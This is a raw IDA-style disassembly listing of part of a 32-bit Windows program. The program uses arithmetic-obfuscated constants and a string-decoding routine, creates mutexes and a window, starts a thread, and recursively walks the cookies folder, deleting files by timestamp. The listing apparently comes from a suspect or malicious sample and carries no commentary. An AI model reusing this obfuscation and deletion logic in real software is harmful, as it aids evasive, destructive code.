		dd 3B3A323Ah, 713A4F3Ah, 943A773Ah, 0A63A9A3Ah,	0FF3AAE3Ah
		dd 133B0C3Ah, 333B263Bh, 703B493Bh, 823B7D3Bh, 0D23B893Bh
		dd 0E33BDD3Bh, 193C013Bh, 323C2C3Ch, 513C4B3Ch,	6F3C683Ch
		dd 0D53CCF3Ch, 0F13CEB3Ch, 153D073Ch, 393D2B3Dh, 5E3D4F3Dh
		dd 763D713Dh, 0C93D7C3Dh, 0DD3DD63Dh, 0F03DE93Dh, 523E453Dh
		dd 603E573Eh, 723E6D3Eh, 833E773Eh, 8E3E893Eh, 9F3E933Eh
		dd 0AA3EA53Eh, 0BB3EAF3Eh, 0C63EC13Eh, 0D73ECB3Eh, 0E23EDD3Eh
		dd 0F63EE73Eh, 13EFC3Eh, 4C3F203Fh, 753F663Fh, 9A3F803Fh
		dd 0C73FA43Fh, 3FE63Fh,	0C00000h, 3000h, 7A300400h, 8A308230h
		dd 93309230h, 0A2389A38h, 9E38AA38h, 0B639AA39h, 0CE39C239h
		dd 0E639DA39h, 0FE39F239h, 163A0A39h, 140003Ah,	4400h
		dd 7C300000h, 24332032h, 2C332833h, 34333033h, 40333833h
		dd 48334433h, 50334C33h, 58335433h, 64335C33h, 6C336833h
		dd 74337033h, 7C337833h, 84338033h, 8C378837h, 379037h
		dd 1600000h, 2000h, 98319400h, 0AC319C31h, 0B431B031h
		dd 0BC31B831h, 0C431C031h, 31C831h, 71h	dup(0)
		dd 4B2FFD00h, 47h, 1902800h, 3 dup(100h), 1903400h, 1903800h
		dd 1903C00h, 716B6B00h,	2E5F7876h, 6C6C64h, 0B75F00h, 1904000h
		dd 0
		dd 694C5F00h, 69614D62h, 30406Eh, 416Ah	dup(0)
_data		ends

; ---------------------------------------------------------------------------
; Section 4. (virtual address 0003A000)
; Virtual size			: 0000BA20 (  47648.)
; Section size in file		: 0000BA20 (  47648.)
; Offset to raw	data for section: 0003A000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 43A000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43A006:				; DATA XREF: sub_43A026+Ao
		xor	eax, eax
		inc	eax
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		jz	short locret_43A025
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_43A025:				; CODE XREF: .text:0043A014j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43A026	proc near		; CODE XREF: .text:0043A14Ep
					; .text:0043A17Cp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset loc_43A006
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_43A043:				; CODE XREF: sub_43A026+44j
					; sub_43A026+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43A072
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43A072
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43A043
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43A043
; ---------------------------------------------------------------------------


loc_43A072:				; CODE XREF: sub_43A026+2Aj
					; sub_43A026+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43A026	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A080	proc near		; CODE XREF: .text:0043A141p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_43A098
		push	[ebp+arg_0]
		call	sub_4459B4


loc_43A098:				; DATA XREF: sub_43A080+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43A080	endp

; ---------------------------------------------------------------------------
		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_43A175
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_43A0D3:				; CODE XREF: .text:0043A16Cj
		cmp	esi, 0FFFFFFFFh
		jz	loc_43A184
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43A163
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_44D034, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword_44D038, eax
		mov	eax, [edx+4]
		mov	dword_44D03C, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_44D040
		mov	esi, dword_44D038
		rep movsd
		lea	edi, dword_44D040
		mov	dword_44D038, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43A163
		js	short loc_43A171
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43A080
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43A026
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_43A163:				; CODE XREF: .text:0043A0E4j
					; .text:0043A139j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43A0D3
; ---------------------------------------------------------------------------


loc_43A171:				; CODE XREF: .text:0043A13Bj
		xor	eax, eax
		jmp	short loc_43A18E
; ---------------------------------------------------------------------------


loc_43A175:				; CODE XREF: .text:0043A0B8j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43A026
		add	esp, 0Ch


loc_43A184:				; CODE XREF: .text:0043A0D6j
		push	0Bh
		call	sub_4459FC
		add	esp, 4


loc_43A18E:				; CODE XREF: .text:0043A173j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_43A1A7
		call	sub_43A1C3


loc_43A1A7:				; CODE XREF: .text:0043A1A0j
		call	sub_44593F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, off_44D000
		call	eax ; sub_445914
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A1C3	proc near		; CODE XREF: .text:0043A1A2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_4459CC
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_4459CC
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_4459CC
		mov	[ebp+var_C], eax
		push	(offset	aWr+2)
		push	[ebp+var_8]
		call	sub_4459C0
		mov	dword_44D008, eax
		push	offset aWr	; "wr"
		push	[ebp+var_4]
		call	sub_4459C0
		mov	dword_44D004, eax
		push	offset aWr	; "wr"
		push	[ebp+var_C]
		call	sub_4459C0
		add	esp, 30h
		mov	dword_44D00C, eax
		mov	edi, dword_44D004
		or	edi, edi
		jz	short loc_43A23C
		push	0
		push	edi
		call	sub_445A08
		add	esp, 8


loc_43A23C:				; CODE XREF: sub_43A1C3+6Cj
		mov	edi, dword_44D00C
		or	edi, edi
		jz	short loc_43A256
		push	0
		push	edi
		call	sub_445A08
		add	esp, 8
		call	sub_43A25C


loc_43A256:				; CODE XREF: sub_43A1C3+81j
		pop	edi
		leave
		retn
sub_43A1C3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A25C	proc near		; CODE XREF: sub_43A1C3+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_4459A8
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_43A294
; ---------------------------------------------------------------------------


loc_43A278:				; CODE XREF: sub_43A25C+3Bj
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_43A280
		inc	[ebp+var_C]


loc_43A280:				; CODE XREF: sub_43A25C+1Fj
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_43A294:				; CODE XREF: sub_43A25C+1Aj
		cmp	byte ptr [ebx],	0
		jnz	short loc_43A278
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_4459F0
		pop	ecx
		mov	[ebp+var_8], eax
		mov	dword_44D010, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43A2C2
		xor	eax, eax
		jmp	short loc_43A31F
; ---------------------------------------------------------------------------


loc_43A2C2:				; CODE XREF: sub_43A25C+60j
		mov	ebx, [ebp+var_10]
		jmp	short loc_43A30C
; ---------------------------------------------------------------------------


loc_43A2C7:				; CODE XREF: sub_43A25C+B3j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_43A306
		push	[ebp+var_4]
		call	sub_4459F0
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	[esi], eax
		or	eax, eax
		jnz	short loc_43A2F4
		jmp	short loc_43A31F
; ---------------------------------------------------------------------------


loc_43A2F4:				; CODE XREF: sub_43A25C+94j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr [edi]
		call	sub_445A14
		add	esp, 8
		add	[ebp+var_8], 4


loc_43A306:				; CODE XREF: sub_43A25C+82j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_43A30C:				; CODE XREF: sub_43A25C+69j
		cmp	byte ptr [ebx],	0
		jnz	short loc_43A2C7
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0
		mov	eax, 1


loc_43A31F:				; CODE XREF: sub_43A25C+64j
					; sub_43A25C+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A25C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A324	proc near		; DATA XREF: .data:off_44D340o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_44ECC4
		push	esi
		call	ds:dword_44C824
		or	eax, eax
		jz	short loc_43A350
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43A398
; ---------------------------------------------------------------------------


loc_43A350:				; CODE XREF: sub_43A324+1Aj
		push	offset dword_44EC34
		push	esi
		call	ds:dword_44C824
		or	eax, eax
		jz	short loc_43A370
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43A398
; ---------------------------------------------------------------------------


loc_43A370:				; CODE XREF: sub_43A324+3Aj
		push	offset dword_44EC04
		push	esi
		call	ds:dword_44C824
		or	eax, eax
		jz	short loc_43A390
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43A398
; ---------------------------------------------------------------------------


loc_43A390:				; CODE XREF: sub_43A324+5Aj
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_43A398:				; CODE XREF: sub_43A324+2Aj
					; sub_43A324+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_43A324	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A39F	proc near		; DATA XREF: sub_44475F+Co
					; sub_44475F+29Fo

var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_143		= byte ptr -143h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 15Ch
		push	ebx
		push	esi
		push	edi
		call	sub_43AFA1
		call	sub_43AD9A
		call	sub_444E43
		call	sub_43CE34
		call	sub_4427FF
		call	sub_441F34
		call	sub_442C9D
		call	sub_43B3E1
		call	sub_4409DF
		mov	esi, eax


loc_43A3DA:				; CODE XREF: sub_43A39F+91j
		call	sub_4430CE
		mov	edx, eax
		mov	[ebp+var_144], dl
		movzx	eax, [ebp+var_144]
		mov	edx, dword_44D178
		sub	edx, 3
		cmp	eax, edx
		jnz	short loc_43A40A
		mov	eax, dword_44D24C
		sub	eax, 8
		push	eax
		call	ds:dword_44C840	; ExitThread


loc_43A40A:				; CODE XREF: sub_43A39F+5Aj
		movzx	eax, [ebp+var_144]
		mov	edx, dword_44D100
		sub	edx, 6
		cmp	eax, edx
		jnz	short loc_43A432
		movsx	eax, word_44D160
		add	eax, 5Eh
		push	eax
		call	ds:dword_44C80C
		pop	ecx
		jmp	short loc_43A3DA
; ---------------------------------------------------------------------------


loc_43A432:				; CODE XREF: sub_43A39F+7Dj
		or	esi, esi
		jnz	loc_43A4F4
		push	offset dword_44EB94
		call	sub_43AC82
		mov	[ebp+var_154], eax
		push	offset word_44EB8A
		call	sub_43AC82
		push	eax
		mov	edx, [ebp+var_154]
		push	edx
		lea	edx, [ebp+var_143]
		push	edx
		call	ds:dword_44C810
		lea	eax, [ebp+var_143]
		push	eax
		push	0
		push	0
		call	ds:dword_44C7EC	; CreateMutexA
		mov	edi, eax
		push	offset word_44EB7E
		call	sub_43AC82
		mov	[ebp+var_158], eax
		push	offset dword_44EB74
		call	sub_43AC82
		mov	edx, dword_44D240
		add	edx, 5
		push	edx
		push	eax
		mov	edx, [ebp+var_158]
		push	edx
		lea	edx, [ebp+var_143]
		push	edx
		call	ds:dword_44C810
		add	esp, 2Ch
		lea	eax, [ebp+var_143]
		push	eax
		push	1
		push	0
		call	ds:dword_44C7EC	; CreateMutexA
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43A4DE
		mov	eax, dword_44D158
		sub	eax, 7
		push	eax
		call	ds:dword_44C840	; ExitThread


loc_43A4DE:				; CODE XREF: sub_43A39F+12Ej
		mov	eax, dword_44D14C
		add	eax, 0FFFFFFF7h
		add	eax, dword_44D1A0
		push	eax
		push	edi
		call	ds:dword_44C808	; WaitForSingleObject


loc_43A4F4:				; CODE XREF: sub_43A39F+95j
		push	0
		call	ds:dword_449598	; GetModuleHandleA
		mov	ebx, eax
		push	offset word_44EB6A
		call	sub_43AC82
		mov	[ebp+var_20], eax
		mov	[ebp+var_34], ebx
		lea	eax, sub_4446E4
		mov	[ebp+var_40], eax
		push	7F00h
		push	0
		call	ds:dword_44A1E4	; LoadCursorA
		mov	[ebp+var_2C], eax
		push	7F03h
		push	0
		call	ds:dword_44C7F4	; LoadIconA
		mov	[ebp+var_30], eax
		and	[ebp+var_24], 0
		push	0
		call	ds:dword_4480D0	; GetStockObject
		mov	[ebp+var_28], eax
		mov	[ebp+var_44], 3
		movsx	eax, word_44D180
		sub	eax, 5
		mov	[ebp+var_3C], eax
		mov	eax, dword_44D244
		sub	eax, 9
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_44]
		push	eax
		call	ds:dword_449090	; RegisterClassA
		push	offset dword_44EB60
		call	sub_43AC82
		mov	[ebp+var_15C], eax
		push	offset word_44EB56
		call	sub_43AC82
		push	0
		push	ebx
		push	0
		push	0
		mov	edx, dword_44D1E8
		sub	edx, 7
		push	edx
		mov	edx, dword_44D158
		add	edx, dword_44D0A4
		sub	edx, 11h
		push	edx
		movsx	edx, word_44D114
		sub	edx, 9
		push	edx
		mov	edx, dword_44D17C
		sub	edx, 9
		push	edx
		push	0CA0000h
		push	eax
		mov	edx, [ebp+var_15C]
		push	edx
		movsx	edx, word_44D0B8
		add	edx, dword_44D104
		sub	edx, 0Dh
		push	edx
		call	ds:dword_44B820	; CreateWindowExA
		mov	ds:dword_4495C0, eax
		lea	eax, [ebp+var_148]
		push	eax
		push	ebx
		call	sub_43B2B1
		mov	[ebp+var_14C], eax
		mov	ds:off_44C7E0, eax
		mov	eax, [ebp+var_148]
		mov	ds:dword_4495C4, eax
		push	0
		call	sub_4428E6
		add	esp, 18h
		or	esi, esi
		jnz	short loc_43A62D
		call	sub_442ACB
		mov	eax, dword_44D0A4
		sub	eax, 9
		mov	ds:dword_44C818, eax
		jmp	short loc_43A642
; ---------------------------------------------------------------------------


loc_43A62D:				; CODE XREF: sub_43A39F+278j
		mov	eax, dword_44D1A8
		add	eax, 3A8Fh
		add	eax, dword_44D09C
		mov	ds:dword_44C818, eax


loc_43A642:				; CODE XREF: sub_43A39F+28Cj
		lea	eax, [ebp+var_150]
		push	eax
		movsx	eax, word_44D190
		add	eax, dword_44D214
		sub	eax, 6
		push	eax
		push	0
		push	offset sub_43E040
		mov	eax, dword_44D174
		add	eax, dword_44D0CC
		sub	eax, 8
		push	eax
		push	0
		call	ds:dword_44CD70	; CreateThread
		push	eax
		call	ds:dword_44B82C	; CloseHandle
		or	esi, esi
		jnz	short loc_43A6A3
		call	sub_43E524
		call	sub_43B947
		jmp	short loc_43A6A3
; ---------------------------------------------------------------------------


loc_43A68F:				; CODE XREF: sub_43A39F+32Cj
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_44C95C	; TranslateMessage
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_447004	; DispatchMessageA


loc_43A6A3:				; CODE XREF: sub_43A39F+2E2j
					; sub_43A39F+2EEj
		mov	eax, dword_44D14C
		add	eax, dword_44D0CC
		sub	eax, 0Eh
		push	eax
		movsx	eax, word_44D0E4
		sub	eax, 2
		push	eax
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_44B800	; GetMessageA
		or	eax, eax
		jnz	short loc_43A68F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_43A39F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A6D4	proc near		; DATA XREF: sub_43AD58+2Fo

var_1FFF	= byte ptr -1FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_445950
		push	esi
		push	edi
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44CD88	; GetWindowTextA
		push	offset byte_44EB41
		call	sub_43AC82
		movsx	edi, word_44D0B4
		sub	edi, 3
		push	edi
		push	eax
		lea	edi, [ebp+var_1FFF]
		push	edi
		call	sub_444D98
		add	esp, 10h
		mov	esi, dword_44D178
		add	esi, 0FFF1h
		add	esi, dword_44D24C
		cmp	eax, esi
		jz	short loc_43A73C
		push	[ebp+arg_0]
		call	sub_43D7AB
		pop	ecx


loc_43A73C:				; CODE XREF: sub_43A6D4+5Dj
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		leave
		retn	8
sub_43A6D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A745	proc near		; CODE XREF: sub_43F09C+20p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	1000h
		push	[ebp+arg_0]
		push	0
		call	ds:dword_44A20C	; VirtualAlloc
		pop	ebp
		retn
sub_43A745	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A75C	proc near		; DATA XREF: .data:0044D378o
		mov	eax, 80004001h
		retn	18h
sub_43A75C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A764	proc near		; CODE XREF: sub_43F02F:loc_43F032p

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, dword_44D178
		add	eax, dword_44D1A8
		sub	eax, 0Dh
		push	eax
		push	0
		push	21h
		push	0
		call	ds:dword_449A00	; SHGetFolderPathA
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_43A89E
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_44A420	; GetSystemTime
		movzx	eax, [ebp+var_6]
		movzx	edx, [ebp+var_8]
		movsx	ecx, word_44D148
		add	ecx, 3Ch
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_A]
		mov	ecx, dword_44D24C
		add	ecx, 0Fh
		imul	edx, ecx
		movsx	ecx, word_44D098
		mov	ebx, dword_44D184
		lea	ecx, [ecx+ebx+36h]
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_E]
		mov	ecx, dword_44D1CC
		add	ecx, 1Dh
		imul	edx, ecx
		mov	ecx, dword_44D0CC
		add	ecx, 12h
		imul	edx, ecx
		movsx	ecx, word_44D220
		add	ecx, 35h
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_10]
		mov	ecx, dword_44D0A4
		movsx	ebx, word_44D190
		add	ecx, ebx
		sub	ecx, 2
		imul	edx, ecx
		movsx	ecx, word_44D0B8
		add	ecx, 15h
		imul	edx, ecx
		mov	ecx, dword_44D1EC
		add	ecx, 0Eh
		add	ecx, dword_44D104
		imul	edx, ecx
		mov	ecx, dword_44D218
		add	ecx, 2Ah
		movsx	ebx, word_44D1C0
		add	ecx, ebx
		imul	edx, ecx
		add	eax, edx
		mov	ds:dword_446028, eax
		mov	eax, dword_44D1F8
		add	eax, dword_44D168
		sub	eax, 0Eh
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_43A8A3
		add	esp, 144h


loc_43A89E:				; CODE XREF: sub_43A764+32j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A764	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A8A3	proc near		; CODE XREF: sub_43A764+12Fp
					; sub_43A8A3+216p ...

var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 274h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		inc	ebx
		push	offset byte_44EB39
		call	sub_43AC82
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_44C810
		add	esp, 10h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_44A21C	; FindFirstFileA
		mov	[ebp+var_248], eax
		mov	eax, dword_44D18C
		add	eax, dword_44D188
		sub	eax, 9
		neg	eax
		cmp	[ebp+var_248], eax
		jnz	loc_43AA6D
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	ds:dword_44C960	; CompareFileTime
		mov	[ebp+var_260], eax
		movsx	eax, word_44D21C
		add	eax, dword_44D10C
		sub	eax, 6
		cmp	[ebp+var_260], eax
		jle	short loc_43A93F
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_43A94A
; ---------------------------------------------------------------------------


loc_43A93F:				; CODE XREF: sub_43A8A3+8Dj
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_43A94A:				; CODE XREF: sub_43A8A3+9Aj
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	ds:dword_44C958	; FileTimeToSystemTime
		movsx	eax, word_44D0C4
		mov	[ebp+var_270], eax
		mov	edx, dword_44D154
		add	edx, 1Bh
		mov	ecx, dword_44D0FC
		mov	[ebp+var_26C], ecx
		movzx	esi, [ebp+var_24E]
		movzx	edi, [ebp+var_250]
		mov	ecx, eax
		add	ecx, 33h
		imul	edi, ecx
		mov	ecx, esi
		add	ecx, edi
		movzx	esi, [ebp+var_252]
		mov	edi, dword_44D0A4
		add	edi, 0Fh
		imul	esi, edi
		movsx	edi, word_44D194
		add	edi, 33h
		imul	esi, edi
		add	ecx, esi
		movzx	esi, [ebp+var_256]
		mov	edi, edx
		add	edi, dword_44D0D4
		imul	esi, edi
		mov	edi, dword_44D1D0
		add	edi, 0Ch
		mov	eax, [ebp+var_26C]
		add	edi, eax
		mov	eax, esi
		imul	eax, edi
		mov	esi, dword_44D0FC
		add	esi, 35h
		imul	eax, esi
		add	ecx, eax
		movzx	eax, [ebp+var_258]
		mov	esi, dword_44D15C
		add	esi, 0Ch
		imul	eax, esi
		imul	eax, edx
		mov	edx, dword_44D244
		add	edx, 6
		mov	esi, [ebp+var_270]
		add	edx, esi
		imul	eax, edx
		movsx	edx, word_44D180
		add	edx, 37h
		imul	eax, edx
		mov	edx, ecx
		add	edx, eax
		mov	[ebp+var_25C], edx
		mov	eax, edx
		mov	edx, ds:dword_446028
		cmp	eax, edx
		ja	loc_43AB36
		sub	edx, eax
		movsx	eax, word_44D194
		add	eax, 10D7h
		cmp	edx, eax
		jbe	loc_43AB36
		push	[ebp+arg_0]
		call	ds:dword_446008	; DeleteFileA
		mov	[ebp+var_274], eax
		jmp	loc_43AB36
; ---------------------------------------------------------------------------


loc_43AA6D:				; CODE XREF: sub_43A8A3+5Dj
		cmp	[ebp+var_112], 2Eh
		jz	loc_43AB32
		push	offset dword_44EB30
		call	sub_43AC82
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_44C810
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43A8A3
		add	esp, 158h
		jmp	short loc_43AB32
; ---------------------------------------------------------------------------


loc_43AAC6:				; CODE XREF: sub_43A8A3+291j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	ds:dword_447FB4	; FindNextFileA
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_43AB36
		cmp	[ebp+var_112], 2Eh
		jz	short loc_43AB32
		push	offset byte_44EB27
		call	sub_43AC82
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_44C810
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43A8A3
		add	esp, 158h


loc_43AB32:				; CODE XREF: sub_43A8A3+1D1j
					; sub_43A8A3+221j ...
		or	ebx, ebx
		jnz	short loc_43AAC6


loc_43AB36:				; CODE XREF: sub_43A8A3+19Aj
					; sub_43A8A3+1B0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A8A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


